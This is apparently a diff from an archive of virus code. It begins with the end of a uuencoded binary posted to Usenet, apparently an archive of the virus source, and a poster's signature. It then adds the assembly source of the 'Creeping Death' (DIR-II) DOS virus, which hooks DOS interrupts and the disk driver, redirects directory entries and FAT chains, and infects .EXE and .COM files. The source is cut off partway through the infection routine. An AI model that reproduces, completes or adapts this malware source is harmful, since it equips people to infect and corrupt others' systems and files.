MXGL,?/[Q.?_ODV\PT=H=1XF46UR,8^EF:R'^*:;/)O"]=LGNT6-Q%&_OD^!Z
|
||||
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
|
||||
K`````0```*2!`````&1I<C(N87-M4$L%!@`````!``$`-@```$L;````````
|
||||
`
|
||||
end
|
||||
|
||||
|
||||
--
|
||||
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
|
||||
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
|
||||
Student at the Northeatstern University College of Computer Science
|
||||
"I Can't Believe It's Not Butter"
|
||||
|
|
@ -0,0 +1,486 @@
|
|||
; Creeping Death V 1.0
|
||||
;
|
||||
; (C) Copyright 1991 by VirusSoft Corp.
|
||||
|
||||
i13org = 5f8h
|
||||
i21org = 5fch
|
||||
|
||||
org 100h
|
||||
|
||||
mov sp,600h
|
||||
inc counter
|
||||
xor cx,cx
|
||||
mov ds,cx
|
||||
lds ax,[0c1h]
|
||||
add ax,21h
|
||||
push ds
|
||||
push ax
|
||||
mov ah,30h
|
||||
call jump
|
||||
cmp al,4
|
||||
sbb si,si
|
||||
mov drive+2,byte ptr -1
|
||||
mov bx,60h
|
||||
mov ah,4ah
|
||||
call jump
|
||||
|
||||
mov ah,52h
|
||||
call jump
|
||||
push es:[bx-2]
|
||||
lds bx,es:[bx]
|
||||
|
||||
search: mov ax,[bx+si+15h]
|
||||
cmp ax,70h
|
||||
jne next
|
||||
xchg ax,cx
|
||||
mov [bx+si+18h],byte ptr -1
|
||||
mov di,[bx+si+13h]
|
||||
mov [bx+si+13h],offset header
|
||||
mov [bx+si+15h],cs
|
||||
next: lds bx,[bx+si+19h]
|
||||
cmp bx,-1
|
||||
jne search
|
||||
jcxz install
|
||||
|
||||
pop ds
|
||||
mov ax,ds
|
||||
add ax,[3]
|
||||
inc ax
|
||||
mov dx,cs
|
||||
dec dx
|
||||
cmp ax,dx
|
||||
jne no_boot
|
||||
add [3],61h
|
||||
no_boot: mov ds,dx
|
||||
mov [1],8
|
||||
|
||||
mov ds,cx
|
||||
les ax,[di+6]
|
||||
mov cs:str_block,ax
|
||||
mov cs:int_block,es
|
||||
|
||||
cld
|
||||
mov si,1
|
||||
scan: dec si
|
||||
lodsw
|
||||
cmp ax,1effh
|
||||
jne scan
|
||||
mov ax,2cah
|
||||
cmp [si+4],ax
|
||||
je right
|
||||
cmp [si+5],ax
|
||||
jne scan
|
||||
right: lodsw
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset modify+1
|
||||
stosw
|
||||
xchg ax,si
|
||||
mov di,offset i13org
|
||||
cli
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov dx,0c000h
|
||||
fdsk1: mov ds,dx
|
||||
xor si,si
|
||||
lodsw
|
||||
cmp ax,0aa55h
|
||||
jne fdsk4
|
||||
cbw
|
||||
lodsb
|
||||
mov cl,9
|
||||
sal ax,cl
|
||||
fdsk2: cmp [si],6c7h
|
||||
jne fdsk3
|
||||
cmp [si+2],4ch
|
||||
jne fdsk3
|
||||
push dx
|
||||
push [si+4]
|
||||
jmp short death
|
||||
install: int 20h
|
||||
file: db "c:",255,0
|
||||
fdsk3: inc si
|
||||
cmp si,ax
|
||||
jb fdsk2
|
||||
fdsk4: inc dx
|
||||
cmp dh,0f0h
|
||||
jb fdsk1
|
||||
|
||||
sub sp,4
|
||||
death: push cs
|
||||
pop ds
|
||||
mov bx,[2ch]
|
||||
mov es,bx
|
||||
mov ah,49h
|
||||
call jump
|
||||
xor ax,ax
|
||||
test bx,bx
|
||||
jz boot
|
||||
mov di,1
|
||||
seek: dec di
|
||||
scasw
|
||||
jne seek
|
||||
lea si,[di+2]
|
||||
jmp short exec
|
||||
boot: mov es,[16h]
|
||||
mov bx,es:[16h]
|
||||
dec bx
|
||||
xor si,si
|
||||
exec: push bx
|
||||
mov bx,offset param
|
||||
mov [bx+4],cs
|
||||
mov [bx+8],cs
|
||||
mov [bx+12],cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov di,offset f_name
|
||||
push di
|
||||
mov cx,40
|
||||
rep movsw
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3dh
|
||||
mov dx,offset file
|
||||
call jump
|
||||
pop dx
|
||||
|
||||
mov ax,4b00h
|
||||
call jump
|
||||
mov ah,4dh
|
||||
call jump
|
||||
mov ah,4ch
|
||||
|
||||
jump: pushf
|
||||
call dword ptr cs:[i21org]
|
||||
ret
|
||||
|
||||
|
||||
;--------Installation complete
|
||||
|
||||
i13pr: mov ah,3
|
||||
jmp dword ptr cs:[i13org]
|
||||
|
||||
|
||||
main: push ax ; driver
|
||||
push cx ; strategy block
|
||||
push dx
|
||||
push ds
|
||||
push si
|
||||
push di
|
||||
|
||||
push es
|
||||
pop ds
|
||||
mov al,[bx+2]
|
||||
|
||||
cmp al,4 ; Input
|
||||
je input
|
||||
cmp al,8
|
||||
je output
|
||||
cmp al,9
|
||||
je output
|
||||
|
||||
call in
|
||||
cmp al,2 ; Build BPB
|
||||
jne ppp ;
|
||||
lds si,[bx+12h]
|
||||
mov di,offset bpb_buf
|
||||
mov es:[bx+12h],di
|
||||
mov es:[bx+14h],cs
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
mov cx,16
|
||||
rep movsw
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
mov al,[di+2-32]
|
||||
cmp al,2
|
||||
adc al,0
|
||||
cbw
|
||||
cmp [di+8-32],0
|
||||
je m32
|
||||
sub [di+8-32],ax
|
||||
jmp short ppp
|
||||
m32: sub [di+15h-32],ax
|
||||
sbb [di+17h-32],0
|
||||
|
||||
ppp: pop di
|
||||
pop si
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
rts: retf
|
||||
|
||||
output: mov cx,0ff09h
|
||||
call check
|
||||
jz inf_sec
|
||||
call in
|
||||
jmp short inf_dsk
|
||||
|
||||
inf_sec: jmp _inf_sec
|
||||
read: jmp _read
|
||||
read_: add sp,16
|
||||
jmp short ppp
|
||||
|
||||
input: call check
|
||||
jz read
|
||||
inf_dsk: mov byte ptr [bx+2],4
|
||||
cld
|
||||
lea si,[bx+0eh]
|
||||
mov cx,8
|
||||
save: lodsw
|
||||
push ax
|
||||
loop save
|
||||
mov [bx+14h],1
|
||||
call driver
|
||||
jnz read_
|
||||
mov byte ptr [bx+2],2
|
||||
call in
|
||||
lds si,[bx+12h]
|
||||
mov ax,[si+6]
|
||||
add ax,15
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
mov di,[si+0bh]
|
||||
add di,di
|
||||
stc
|
||||
adc di,ax
|
||||
push di
|
||||
cwd
|
||||
mov ax,[si+8]
|
||||
test ax,ax
|
||||
jnz more
|
||||
mov ax,[si+15h]
|
||||
mov dx,[si+17h]
|
||||
more: xor cx,cx
|
||||
sub ax,di
|
||||
sbb dx,cx
|
||||
mov cl,[si+2]
|
||||
div cx
|
||||
cmp cl,2
|
||||
sbb ax,-1
|
||||
push ax
|
||||
call convert
|
||||
mov byte ptr es:[bx+2],4
|
||||
mov es:[bx+14h],ax
|
||||
call driver
|
||||
again: lds si,es:[bx+0eh]
|
||||
add si,dx
|
||||
sub dh,cl
|
||||
adc dx,ax
|
||||
mov cs:gad+1,dx
|
||||
cmp cl,1
|
||||
je small
|
||||
mov ax,[si]
|
||||
and ax,di
|
||||
cmp ax,0fff7h
|
||||
je bad
|
||||
cmp ax,0ff7h
|
||||
je bad
|
||||
cmp ax,0ff70h
|
||||
jne ok
|
||||
bad: pop ax
|
||||
dec ax
|
||||
push ax
|
||||
call convert
|
||||
jmp short again
|
||||
small: not di
|
||||
and [si],di
|
||||
pop ax
|
||||
push ax
|
||||
inc ax
|
||||
push ax
|
||||
mov dx,0fh
|
||||
test di,dx
|
||||
jz here
|
||||
inc dx
|
||||
mul dx
|
||||
here: or [si],ax
|
||||
pop ax
|
||||
call convert
|
||||
mov si,es:[bx+0eh]
|
||||
add si,dx
|
||||
mov ax,[si]
|
||||
and ax,di
|
||||
ok: mov dx,di
|
||||
dec dx
|
||||
and dx,di
|
||||
not di
|
||||
and [si],di
|
||||
or [si],dx
|
||||
|
||||
cmp ax,dx
|
||||
pop ax
|
||||
pop di
|
||||
mov cs:pointer+1,ax
|
||||
je _read_
|
||||
mov dx,[si]
|
||||
push ds
|
||||
push si
|
||||
call write
|
||||
pop si
|
||||
pop ds
|
||||
jnz _read_
|
||||
call driver
|
||||
cmp [si],dx
|
||||
jne _read_
|
||||
dec ax
|
||||
dec ax
|
||||
mul cx
|
||||
add ax,di
|
||||
adc dx,0
|
||||
push es
|
||||
pop ds
|
||||
mov [bx+12h],2
|
||||
mov [bx+14h],ax
|
||||
test dx,dx
|
||||
jz less
|
||||
mov [bx+14h],-1
|
||||
mov [bx+1ah],ax
|
||||
mov [bx+1ch],dx
|
||||
less: mov [bx+10h],cs
|
||||
mov [bx+0eh],100h
|
||||
call write
|
||||
|
||||
_read_: std
|
||||
lea di,[bx+1ch]
|
||||
mov cx,8
|
||||
load: pop ax
|
||||
stosw
|
||||
loop load
|
||||
_read: call in
|
||||
|
||||
mov cx,9
|
||||
_inf_sec:
|
||||
mov di,es:[bx+12h]
|
||||
lds si,es:[bx+0eh]
|
||||
sal di,cl
|
||||
xor cl,cl
|
||||
add di,si
|
||||
xor dl,dl
|
||||
push ds
|
||||
push si
|
||||
call find
|
||||
jcxz no_inf
|
||||
call write
|
||||
and es:[bx+4],byte ptr 07fh
|
||||
no_inf: pop si
|
||||
pop ds
|
||||
inc dx
|
||||
call find
|
||||
jmp ppp
|
||||
|
||||
;--------Subroutines
|
||||
|
||||
find: mov ax,[si+8]
|
||||
cmp ax,"XE"
|
||||
jne com
|
||||
cmp [si+10],al
|
||||
je found
|
||||
com: cmp ax,"OC"
|
||||
jne go_on
|
||||
cmp byte ptr [si+10],"M"
|
||||
jne go_on
|
||||
found: test [si+1eh],0ffc0h ; >4MB
|
||||
jnz go_on
|
||||
test [si+1dh],03ff8h ; <2048B
|
||||
jz go_on
|
||||
test [si+0bh],byte ptr 1ch
|
||||
jnz go_on
|
||||
test dl,dl
|
||||
jnz rest
|
||||
pointer: mov ax,1234h
|
||||
